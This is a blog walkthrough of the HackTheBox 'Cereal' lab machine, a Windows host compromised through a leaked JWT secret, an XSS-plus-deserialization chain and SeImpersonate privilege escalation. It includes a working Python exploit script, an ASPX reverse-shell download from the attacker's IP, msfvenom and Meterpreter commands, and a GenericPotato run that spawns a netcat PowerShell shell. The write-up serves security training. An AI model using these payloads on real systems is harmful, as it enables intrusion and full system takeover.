HTB - Cereal

HTB – Cereal

In this walk through, we will be going through the Cereal room from HackTheBox. This room is rated as Hard on the platform and it consists of exploitation of deserialization and XSS vulnerabilities to get foothold on the system and for privilege escalation, SEImpersonate Privilege was abused to get root. So, let’s get started without any delay.

Cereal

Machine Info:

TitleCereal
IPaddress10.10.10.217
DifficultyHard
OSWindows
DescriptionCereal is a hard difficulty Windows machine that is vulnerable to deserialization and XSS vulnerabilities which are then used to get a foothold on the system. For privilege escalation,SEImpersonate Privilege was abused.

Enumeration:

  • I started with my regular nmap scan with service detection and found three ports opened – 22 (SSH), 80 and 443 (HTTP/HTTPS).

$ sudo nmap -sS -sV -p- 10.10.10.217
[sudo] password for wh1terose: 
Starting Nmap 7.80 ( https://nmap.org ) at 2023-12-03 20:26 IST

Nmap scan report for 10.10.10.217
Host is up (0.24s latency).
Not shown: 65532 filtered ports
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH for_Windows_7.7 (protocol 2.0)
80/tcp  open  http     Microsoft IIS httpd 10.0
443/tcp open  ssl/http Microsoft IIS httpd 10.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 394.41 seconds

nmap scan

  • Next, i performed an Aggressive scan on the found ports and from the SSL cert scan of 443 found two hostnames – cereal.htb and source.cereal.htb.

$ nmap -A -p 22,80,443 10.10.10.217
Starting Nmap 7.80 ( https://nmap.org ) at 2023-12-03 20:56 IST
Nmap scan report for 10.10.10.217
Host is up (0.21s latency).

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey: 
|   2048 08:8e:fe:04:8c:ad:6f:df:88:c7:f3:9a:c5:da:6d:ac (RSA)
|   256 fb:f5:7b:a1:68:07:c0:7b:73:d2:ad:33:df:0a:fc:ac (ECDSA)
|_  256 cc:0e:70:ec:33:42:59:78:31:c0:4e:c2:a5:c9:0e:1e (ED25519)
80/tcp  open  http     Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Did not follow redirect to https://10.10.10.217/
|_https-redirect: ERROR: Script execution failed (use -d to debug)
443/tcp open  ssl/http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Cereal
| ssl-cert: Subject: commonName=cereal.htb
| Subject Alternative Name: DNS:cereal.htb, DNS:source.cereal.htb
| Not valid before: 2020-11-11T19:57:18
|_Not valid after:  2040-11-11T20:07:19
|_ssl-date: 2023-12-03T15:27:18+00:00; 0s from scanner time.
| tls-alpn: 
|_  http/1.1
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.36 seconds

nmap aggressive scan

  • Added both the domains to my /etc/hosts file.

adding hostname

  • First, i accessed the web server running on cereal.htb and found a login page. Tried some default username/password combo but found nothing.

Login panel

  • Next, i checked source.cereal.htb and found an Server error page which was leaking quite a information. Found out the default path of the web server – C:\inetpub\source\default.aspx.

Server Error

  • Fired feroxbuster on our first domain and found a request directory with a 401 Unauthorized response code. Tried to access it but found a blank page.

feroxbuster -k -u https://cereal.htb -w ~/Desktop/Wordlist/SecLists/Discovery/Web-Content/raft-small-directories-lowercase.txt

Feroxbuster output

requests directory

  • Next, i tried to curl it and got some header information where the interesting one was the “www-authenticate: Bearer”. That means the /requests page demands an authentication token in order to access it.

$ curl -i -k https://cereal.htb/requests
HTTP/2 401 
server: Microsoft-IIS/10.0
strict-transport-security: max-age=2592000
www-authenticate: Bearer
x-rate-limit-limit: 5m
x-rate-limit-remaining: 148
x-rate-limit-reset: 2023-12-03T17:09:53.3835987Z
x-powered-by: Sugar
date: Sun, 03 Dec 2023 17:06:59 GMT

curl the request endpoint

  • Next, i fired feroxbuster on source.cereal.htb and found a /uploads directory. Tried to access it but was denied.

feroxbuster -k -u https://source.cereal.htb -w ~/Desktop/Wordlist/SecLists/Discovery/Web-Content/raft-small-directories-lowercase.txt

feroxbuster ouput

403 Forbidden error

  • Performed another nmap Aggressive scan on source.cereal.htb domain and found a pretty interesting directory which was missed by feroxbuster and that was – /.git

$ nmap -A -p 80,443 source.cereal.htb 
Starting Nmap 7.80 ( https://nmap.org ) at 2023-12-03 21:46 IST
Nmap scan report for source.cereal.htb (10.10.10.217)
Host is up (0.21s latency).
rDNS record for 10.10.10.217: cereal.htb

PORT    STATE SERVICE  VERSION
80/tcp  open  http     Microsoft IIS httpd 10.0
| http-git: 
|   10.10.10.217:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: Some changes 
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Compilation Error
|_https-redirect: ERROR: Script execution failed (use -d to debug)
443/tcp open  ssl/http Microsoft IIS httpd 10.0
| http-git: 
|   10.10.10.217:443/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: Some changes 
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Compilation Error
| ssl-cert: Subject: commonName=cereal.htb
| Subject Alternative Name: DNS:cereal.htb, DNS:source.cereal.htb
| Not valid before: 2020-11-11T19:57:18
|_Not valid after:  2040-11-11T20:07:19
|_ssl-date: 2023-12-03T17:16:52+00:00; +1h00m00s from scanner time.
| tls-alpn: 
|_  http/1.1
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 59m59s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.11 seconds

nmap aggressive scan

  • I tried to access it however as directory listing is disabled. So, got an access denied message.

.git directory

  • Used gitdumper to dump all the potential git files in a destination directory called clone.

gitdumper.sh http://source.cereal.htb/.git/ clone/

Gitdumper result

  • The first thing i checked was the git log and found couple of commits.

git log

git log

  • The “Security Fixes” commit looks interesting. I looked into it and found a JWT token Secret.

git show 7bd9533a2e01ec11dfa928bd491fe516477ed291

git show

  • Moving on, i used extractor script from Gitdump Tools to extract other files from our cloned git directory.

extractor.sh ~/CTF/HTB/machines/Cereal/clone/ ~/CTF/HTB/machines/Cereal/clone/extract

extractor output

  • The AdminPage.jsx reveals a react module called “react-marked-markdown”. On Checking it for any known vulnerabilities found that it is vulnerable to XSS.

wh1terose@fsociety:~/CTF/HTB/machines/Cereal/clone/extract/3-7bd9533a2e01ec11dfa928bd491fe516477ed291/ClientApp/src/AdminPage$ cat AdminPage.jsx 


import React from 'react';
import { MarkdownPreview } from 'react-marked-markdown';
import { requestService, authenticationService } from '../_services';
import { Accordion, Card, Button } from 'react-bootstrap'

class RequestCard extends React.Component {
    componentDidCatch(error) {
        console.log(error);
    }

    render() {
        try {
            let requestData = JSON.parse(this.props.request.json);
            return (
                <Card>
                    <Card.Header>
                        <Accordion.Toggle as={Button} variant="link" eventKey={this.props.request.requestId} name="expand" id={this.props.request.requestId}>
                            {requestData.title && typeof requestData.title == 'string' && 
                                <MarkdownPreview markedOptions={{ sanitize: true }} value={requestData.title} />
                            }
                        </Accordion.Toggle>
                    </Card.Header>
                    <Accordion.Collapse eventKey={this.props.request.requestId}>
                        <div>
                            {requestData &&
                                <Card.Body>
                                    Description:{requestData.description}
                                    <br />
                                    Color:{requestData.color}
                                    <br />
                                    Flavor:{requestData.flavor}
                                </Card.Body>
                            }
                        </div>
                    </Accordion.Collapse>
                </Card>
            );
        } catch (e) { console.log(e); return null };
    }
}

class AdminPage extends React.Component {
    constructor(props) {
        super(props);

        this.state = {
            requests: null,
        };
    }

    componentDidMount() {
        requestService.getCerealRequests().then(requests => this.setState({ requests }));
    }

    render() {
        const { requests } = this.state;
        return (
            <div className="card card-body bg-light">
                <h3>Current cereal requests:</h3>
                {requests &&
                    <Accordion>
                    {requests.map(request =>
                        <>
                            <RequestCard request={request}/>
                            <br />
                        </>
                    )}
                    </Accordion>
                }
            </div>
        );
    }
}

cat AdminPage.jsx

React markdown vulnerabilitieshttps://security.snyk.io/package/npm/react-marked-markdown

react-marked-markdown vulnerabilities

  • Next, i found another interesting file named RequestController.cs. As per the source code, the application is performing some deserialization on the data. However, there are certain filters on the way to perform any Deserialization attacks. One important thing to notice here is the “RestrictIP” Policy which means only certain IP address are allowed to access and make changes to the application.

cat RequestsController.cs

RequestsController.cs

Initial Access:

  • With our found jwt secret, i generated a JWT token using jwt_tool. The idea here is to perform to use deserialization of the DownloadManager object to upload a shell on the target and then use XSS to trigger it by generating server-side requests.

$ python3 jwt_tool.py -b -S hs256 -p 'secretlhfIH&FY*#oysuflkhskjfhefesf' $(echo -n '{"alg":"HS256","typ":"JWT"}' | base64).$(echo -n '{"name": "1", "exp":' `date -d "+7 days" +%s`} | base64 -w0).

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiMSIsImV4cCI6MTcwMjI4MDc0Nn0.wGLFFyRhUj9mvpRIEQ2Ae2yWH-FqtLAMXjSY31L9EoQ

jwt tool output

  • Downloaded the reverse shell from below link and generated an upload script in python.

ASPX reverse shell https://raw.githubusercontent.com/borjmz/aspx-reverse-shell/master/shell.aspx

Cereal.DownloadHelper dh = new Cereal.DownloadHelper  
**{**  
 URL = "https://source.cereal.htb/upload/shell.aspx",  
 FilePath = "shell.aspx",  
**};**  
  
string json = JsonConvert.SerializeObject**(**dh, new JsonSerializerSettings  
**{**  
 TypeNameHandling = TypeNameHandling.All  
**});**  
Console.WriteLine**(**json**);**//Crafted to below's payload:**  
{**"$type"**:**"Cereal.DownloadHelper, Cereal","URL"**:**"http://<ip>/shell.aspx","FilePath"**:**"c:/inetpub/source/uploads/shell.aspx"**}**

import requests
from urllib3.exceptions import InsecureRequestWarning
import base64

requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)


jwt_token = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiMSIsImV4cCI6MTcwMjI4MDc0Nn0.wGLFFyRhUj9mvpRIEQ2Ae2yWH-FqtLAMXjSY31L9EoQ'
my_ip = '10.10.14.6'

URL = 'https://cereal.htb/requests'


js_payload = """var jwt_token = '"""+jwt_token+ """';
targeturl = 'https://cereal.htb/requests';

req = new XMLHttpRequest;
var payload = JSON.stringify({"json": '{"$type":"Cereal.DownloadHelper, Cereal","URL":"http://""" +my_ip+"""/shell.aspx","FilePath":"C:/inetpub/source/uploads/shell.aspx"}'});

req.onreadystatechange = function() {
    if (req.readyState == 4) {
        var id = JSON.parse(this.responseText).id;
        //console.log(id)

        req2 = new XMLHttpRequest;
        req2.open('GET', targeturl + "/" + id, false);
        req2.setRequestHeader("Authorization", "Bearer " + jwt_token);
        req2.send();
    }
}
req.open('POST', targeturl, false);
req.setRequestHeader("Authorization", "Bearer " + jwt_token);
req.setRequestHeader('Content-type', 'application/json');
req.send(payload);"""


js_payload_b64 = base64.b64encode(js_payload.encode('utf-8'))
payload = {'json': '{"title":"[XSS](javascript: eval(atob(%22' + js_payload_b64.decode('utf-8') + '%22%29%29)", "flavor":"x", "color":"#FFF", "description":"x"}'}
headers = {'Authorization': 'Bearer ' + jwt_token}


print("shending payload: " + str(payload))
r = requests.post(URL, headers=headers, json=payload, verify=False)
print(r.text)

  • Set up a python HTTP server at port 80 and used the exploit.py script to upload the reverse shell on to the target.

python exploit.py 
shending payload: {'json': u'{"title":"[XSS](javascript: eval(atob(%22dmFyIGp3dF90b2tlbiA9ICdleUpoYkdjaU9pSklVekkxTmlJc0luUjVjQ0k2SWtwWFZDSjkuZXlKdVlXMWxJam9pTVNJc0ltVjRjQ0k2TVRjd01qSTRNRGMwTm4wLndHTEZGeVJoVWo5bXZwUklFUTJBZTJ5V0gtRnF0TEFNWGpTWTMxTDlFb1EnOwp0YXJnZXR1cmwgPSAnaHR0cHM6Ly9jZXJlYWwuaHRiL3JlcXVlc3RzJzsKCnJlcSA9IG5ldyBYTUxIdHRwUmVxdWVzdDsKdmFyIHBheWxvYWQgPSBKU09OLnN0cmluZ2lmeSh7Impzb24iOiAneyIkdHlwZSI6IkNlcmVhbC5Eb3dubG9hZEhlbHBlciwgQ2VyZWFsIiwiVVJMIjoiaHR0cDovLzEwLjEwLjE0LjYvc2hlbGwuYXNweCIsIkZpbGVQYXRoIjoiQzovaW5ldHB1Yi9zb3VyY2UvdXBsb2Fkcy9zaGVsbC5hc3B4In0nfSk7CgpyZXEub25yZWFkeXN0YXRlY2hhbmdlID0gZnVuY3Rpb24oKSB7CiAgICBpZiAocmVxLnJlYWR5U3RhdGUgPT0gNCkgewogICAgICAgIHZhciBpZCA9IEpTT04ucGFyc2UodGhpcy5yZXNwb25zZVRleHQpLmlkOwogICAgICAgIC8vY29uc29sZS5sb2coaWQpCgogICAgICAgIHJlcTIgPSBuZXcgWE1MSHR0cFJlcXVlc3Q7CiAgICAgICAgcmVxMi5vcGVuKCdHRVQnLCB0YXJnZXR1cmwgKyAiLyIgKyBpZCwgZmFsc2UpOwogICAgICAgIHJlcTIuc2V0UmVxdWVzdEhlYWRlcigiQXV0aG9yaXphdGlvbiIsICJCZWFyZXIgIiArIGp3dF90b2tlbik7CiAgICAgICAgcmVxMi5zZW5kKCk7CiAgICB9Cn0KcmVxLm9wZW4oJ1BPU1QnLCB0YXJnZXR1cmwsIGZhbHNlKTsKcmVxLnNldFJlcXVlc3RIZWFkZXIoIkF1dGhvcml6YXRpb24iLCAiQmVhcmVyICIgKyBqd3RfdG9rZW4pOwpyZXEuc2V0UmVxdWVzdEhlYWRlcignQ29udGVudC10eXBlJywgJ2FwcGxpY2F0aW9uL2pzb24nKTsKcmVxLnNlbmQocGF5bG9hZCk7%22%29%29)", "flavor":"x", "color":"#FFF", "description":"x"}'}
{"message":"Great cereal request!","id":9}

python exploit.py

python HTTP server

  • Trigger the shell using the below link or using the curl command. Once executed, we will receive a connection back at our netcat listener.

Upload URL – https://source.cereal.htb/uploads/shell.aspx

curl https://source.cereal.htb/uploads/shell.aspx -k

got initial shell

  • Captured the user flag.

user flag

Post-Compromise Enumeration:

  • Next, performed enumeration on the target and found “SeImpersonatePrivilege” is set to enabled. That is a good thing as we can perform some Token Impersonation and get root but the bad thing is that it is not that straight forward to trigger a Potato exploit and get things done.

C:\Users\sonny\Desktop>whoami /all
whoami /all

USER INFORMATION
----------------

User Name    SID                                           
============ ==============================================
cereal\sonny S-1-5-21-1433318354-2681105707-1558593885-1000


GROUP INFORMATION
-----------------

Group Name                           Type             SID                                                             Attributes                                        
==================================== ================ =============================================================== ==================================================
Everyone                             Well-known group S-1-1-0                                                         Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                        Alias            S-1-5-32-545                                                    Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\BATCH                   Well-known group S-1-5-3                                                         Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                        Well-known group S-1-2-1                                                         Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users     Well-known group S-1-5-11                                                        Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization       Well-known group S-1-5-15                                                        Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account           Well-known group S-1-5-113                                                       Mandatory group, Enabled by default, Enabled group
BUILTIN\IIS_IUSRS                    Alias            S-1-5-32-568                                                    Mandatory group, Enabled by default, Enabled group
LOCAL                                Well-known group S-1-2-0                                                         Mandatory group, Enabled by default, Enabled group
IIS APPPOOL\source.cereal.htb        Well-known group S-1-5-82-1091461672-2110406625-1707532520-1965434010-2231625233 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication     Well-known group S-1-5-64-10                                                     Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label            S-1-16-12288                                                                                                      


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

SEImpersonate enabled

  • Checked the services listening on the target and found port 8080 exposed but only to the localhost.

netstat -ano

netstat -ano

  • Next, i generated a meterpreter payload and uploaded it to the target.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.6 LPORT=4444 -f exe -o payload.exe

msfvenom payload generated

C:\Users\sonny\Desktop>mkdir temp
mkdir temp

C:\Users\sonny\Desktop>cd temp	
cd temp

C:\Users\sonny\Desktop\temp>curl http://10.10.14.6/payload.exe -O payload.exe 
curl http://10.10.14.6/payload.exe -O payload.exe
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 73802  100 73802    0     0  73802      0  0:00:01 --:--:--  0:00:01  100k
  0     0    0     0    0     0      0      0 --:--:--  0:00:05 --:--:--     0
  0     0    0     0    0     0      0      0 --:--:--  0:00:06 --:--:--     0
  0     0    0     0    0     0      0      0 --:--:--  0:00:07 --:--:--     0

  0     0    0     0    0     0      0      0 --:--:--  0:00:11 --:--:--     0curl: (6) Could not resolve host: payload.exe

downloading the payload

msfconsole -q
use exploit/multi/handler 
set payload windows/meterpreter/reverse_tcp
set LHOST 10.10.14.6
set LPORT 4444
exploit

got meterpreter shell

  • Used the below command and performed port forwarding. Now, we can access the port 8080 of the target machine in our machine at port 8081.

portfwd add -l 8081 -p 8080 -r 127.0.0.1

portforward done

Privilege Escalation:

  • Accessed the application at 8081 and found a static page. Checked the source code and found that it is issuing a request to /api/graphql endpoint.

localhost port 8081

Manufacturing Plant Status

graphql script

  • Enumerated graphql further and got quite a lot of data. The most interesting was the mutation function which we can use to update database.

$ curl -d '{ "query": "{__schema{types{name,fields{name}}}}" }' -X POST http://127.0.0.1:8081/api/graphql -H 'Content-Type: application/json'
{
  "data": {
    "__schema": {
      "types": [
        {
          "name": "String",
          "fields": null
        },
        {
          "name": "Boolean",
          "fields": null
        },
        {
          "name": "Float",
          "fields": null
        },
        {
          "name": "Int",
          "fields": null
        },
        {
          "name": "ID",
          "fields": null
        },
        {
          "name": "Date",
          "fields": null
        },
        {
          "name": "DateTime",
          "fields": null
        },
        {
          "name": "DateTimeOffset",
          "fields": null
        },
        {
          "name": "Seconds",
          "fields": null
        },
        {
          "name": "Milliseconds",
          "fields": null
        },
        {
          "name": "Decimal",
          "fields": null
        },
        {
          "name": "Uri",
          "fields": null
        },
        {
          "name": "Guid",
          "fields": null
        },
        {
          "name": "Short",
          "fields": null
        },
        {
          "name": "UShort",
          "fields": null
        },
        {
          "name": "UInt",
          "fields": null
        },
        {
          "name": "Long",
          "fields": null
        },
        {
          "name": "BigInt",
          "fields": null
        },
        {
          "name": "ULong",
          "fields": null
        },
        {
          "name": "Byte",
          "fields": null
        },
        {
          "name": "SByte",
          "fields": null
        },
        {
          "name": "__Schema",
          "fields": [
            {
              "name": "description"
            },
            {
              "name": "directives"
            },
            {
              "name": "mutationType"
            },
            {
              "name": "queryType"
            },
            {
              "name": "subscriptionType"
            },
            {
              "name": "types"
            }
          ]
        },
        {
          "name": "__Type",
          "fields": [
            {
              "name": "description"
            },
            {
              "name": "enumValues"
            },
            {
              "name": "fields"
            },
            {
              "name": "inputFields"
            },
            {
              "name": "interfaces"
            },
            {
              "name": "kind"
            },
            {
              "name": "name"
            },
            {
              "name": "ofType"
            },
            {
              "name": "possibleTypes"
            }
          ]
        },
        {
          "name": "__TypeKind",
          "fields": null
        },
        {
          "name": "__Field",
          "fields": [
            {
              "name": "args"
            },
            {
              "name": "deprecationReason"
            },
            {
              "name": "description"
            },
            {
              "name": "isDeprecated"
            },
            {
              "name": "name"
            },
            {
              "name": "type"
            }
          ]
        },
        {
          "name": "__InputValue",
          "fields": [
            {
              "name": "defaultValue"
            },
            {
              "name": "description"
            },
            {
              "name": "name"
            },
            {
              "name": "type"
            }
          ]
        },
        {
          "name": "__EnumValue",
          "fields": [
            {
              "name": "deprecationReason"
            },
            {
              "name": "description"
            },
            {
              "name": "isDeprecated"
            },
            {
              "name": "name"
            }
          ]
        },
        {
          "name": "__Directive",
          "fields": [
            {
              "name": "args"
            },
            {
              "name": "description"
            },
            {
              "name": "locations"
            },
            {
              "name": "name"
            }
          ]
        },
        {
          "name": "__DirectiveLocation",
          "fields": null
        },
        {
          "name": "Query",
          "fields": [
            {
              "name": "allCereals"
            },
            {
              "name": "allPlants"
            },
            {
              "name": "cereal"
            },
            {
              "name": "plant"
            }
          ]
        },
        {
          "name": "Cereal",
          "fields": [
            {
              "name": "id"
            },
            {
              "name": "ingredients"
            },
            {
              "name": "name"
            }
          ]
        },
        {
          "name": "Plant",
          "fields": [
            {
              "name": "cereals"
            },
            {
              "name": "id"
            },
            {
              "name": "location"
            },
            {
              "name": "status"
            }
          ]
        },
        {
          "name": "Status",
          "fields": null
        },
        {
          "name": "Mutation",
          "fields": [
            {
              "name": "haltProduction"
            },
            {
              "name": "resumeProduction"
            },
            {
              "name": "updatePlant"
            }
          ]
        }
      ]
    }
  }

$ curl -d '{ "query": "{__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}" }' -X POST http://127.0.0.1:8081/api/graphql -H 'Content-Type: application/json'
{
-- snipped --
        {
          "name": "Status",
          "fields": null
        },
        {
          "name": "Mutation",
          "fields": [
            {
              "name": "haltProduction",
              "args": [
                {
                  "name": "plantId",
                  "description": null,
                  "type": {
                    "name": null,
                    "kind": "NON_NULL",
                    "ofType": {
                      "name": "Int",
                      "kind": "SCALAR"
                    }
                  }
                }
              ]
            },
            {
              "name": "resumeProduction",
              "args": [
                {
                  "name": "plantId",
                  "description": null,
                  "type": {
                    "name": null,
                    "kind": "NON_NULL",
                    "ofType": {
                      "name": "Int",
                      "kind": "SCALAR"
                    }
                  }
                }
              ]
            },
            {
              "name": "updatePlant",
              "args": [
                {
                  "name": "plantId",
                  "description": null,
                  "type": {
                    "name": null,
                    "kind": "NON_NULL",
                    "ofType": {
                      "name": "Int",
                      "kind": "SCALAR"
                    }
                  }
                },
                {
                  "name": "version",
                  "description": null,
                  "type": {
                    "name": null,
                    "kind": "NON_NULL",
                    "ofType": {
                      "name": "Float",
                      "kind": "SCALAR"
                    }
                  }
                },
                {
                  "name": "sourceURL",
                  "description": null,
                  "type": {
                    "name": null,
                    "kind": "NON_NULL",
                    "ofType": {
                      "name": "String",
                      "kind": "SCALAR"
                    }
                  }

  • Now we will use the GenericPotato exploit in order to escalate our privilges. As per the its github – It is modified version of SweetPotato by @EthicalChaos to support impersonating authentication over HTTP and/or named pipes. This allows for local privilege escalation from SSRF and/or file writes. For that, uploaded the netcat binary and the exploit to our target.

upload nc.exe

  • Executed the exploit specifying it to connect to a netcat listener at port 5554 with a powershell prompt and executes a HTTP listener at port 8889.

Exploithttps://github.com/JimKwikX/GenericPotato/blob/main/GenericPotato.exe

.\GenericPotato.exe -p nc.exe -a "10.10.14.6 5555 -e powershell" -e HTTP -l 8889

Triggering Generic Potato exploit

  • Set up my netcat listener at port 5555 and made a request at port 8889 using the below command. Once the request is generated, we got a connection back at our netcat listener at root.

curl -k -X "POST" -H "Content-Type: application/json" --data-binary '{"query":"mutation{updatePlant(plantId:2, version:2.2, sourceURL:\"http://localhost:8889\")}"}' 'http://localhost:8081/api/graphql'

curl the API endpoint

netcat listener

  • Captured the root flag and completed the room.

root flag

machine completed

Also Read: HTB – Broker

Conclusion:

Conclusion

So that was “Cereal” for you. The machine features a repository exposing source code where one of the older commits was found leaking the encryption key, which was then used to login. Reviewing the code reveals deserialization and XSS vulnerabilities. These were then leveraged to download a web shell and gain a foothold on the system. In Post compromise enumeration, The user was found to have SeImpersonatePrivilege, which was exploited in combination with a SSRF vulnerability to finally get SYSTEM privileges. On that note, i would take your leave and will meet you in next one. Till then, “Happy hacking”.

Leave a Comment

Your email address will not be published. Required fields are marked *

Scroll to Top